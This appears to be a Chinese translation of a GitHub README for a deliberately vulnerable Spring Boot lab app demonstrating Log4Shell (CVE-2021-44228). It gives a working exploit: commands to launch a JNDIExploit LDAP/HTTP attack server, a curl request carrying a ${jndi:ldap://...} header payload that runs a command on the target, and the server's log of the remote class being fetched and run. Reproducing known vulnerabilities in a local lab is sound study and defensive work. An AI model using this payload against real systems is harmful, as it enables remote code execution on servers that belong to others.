本仓库包含一个存在 CVE-2021-44228 漏洞的 Spring Boot Web 应用程序,该漏洞被称为 log4shell。
该应用使用了:
log-4j-core:2.14.1(通过 spring-boot-starter-log4j2)openjdk:8u181启动应用:
docker run --name vulnerable-app --rm -p 8080:8080 romanutti/log4shell-vulnerable-app
或者自行构建:
docker build . -t vulnerable-app
docker run -p 8080:8080 --name vulnerable-app --rm vulnerable-app
按照以下步骤,你可以复现 log4shell 漏洞的利用。如果你不熟悉该攻击的内部原理,请查阅这篇文章或本仓库中的演示文稿。
更新(12月13日):JNDIExploit 仓库已从 GitHub 移除(推测并非 GitHub 所为)。因此建议你使用本仓库中保存的版本。
首先我们需要搭建攻击服务器,包括:
我们使用 JNDIExploit 来启动攻击服务器。
git clone https://github.com/romanutti/log4shell-vulnerable-app.git
cd log4shell-vulnerable-app/src/main/resources
unzip JNDIExploit.v1.2.zip
java -jar JNDIExploit-1.2-SNAPSHOT.jar -i [你的私有IP] -p 8888
我们要执行的恶意载荷是 touch /tmp/pwned(对应的 Base64 编码为 dG91Y2ggL3RtcC9wd25lZAo=),在存在漏洞的应用服务器上执行。
使用以下命令触发漏洞:
# 将执行 'touch /tmp/pwned'
curl localhost:8080 -H 'user: ${jndi:ldap://[你的私有IP]:1389/Basic/Command/Base64/dG91Y2ggL3RtcC9wd25lZAo=}'
JNDIExploit 的输出显示攻击服务器响应了恶意漏洞并执行了载荷:
[+] LDAP Server Start Listening on 1389...
[+] HTTP Server Start Listening on 8888...
[+] Received LDAP Query: Basic/Command/Base64/dG91Y2ggL3RtcC9wd25lZAo
[+] Paylaod: command
[+] Command: touch /tmp/pwned
[+] Sending LDAP ResourceRef result for Basic/Command/Base64/dG91Y2ggL3RtcC9wd25lZAo with basic remote reference payload
[+] Send LDAP reference result for Basic/Command/Base64/dG91Y2ggL3RtcC9wd25lZAo redirecting to http://[你的私有IP]:8888/Exploitjkk87OnvOH.class
[+] New HTTP Request From /[你的私有IP]:50119 /Exploitjkk87OnvOH.class
[+] Receive ClassRequest: Exploitjkk87OnvOH.class
[+] Response Code: 200
为了确认代码执行成功,我们检查运行存在漏洞应用的容器中是否已创建了 /tmp/pwned.txt 文件:
$ docker exec vulnerable-app ls /tmp
...
pwned
...
https://www.lunasec.io/docs/blog/log4j-zero-day/
https://mbechler.github.io/2021/12/10/PSA_Log4Shell_JNDI_Injection/
https://github.com/christophetd/log4shell-vulnerable-app/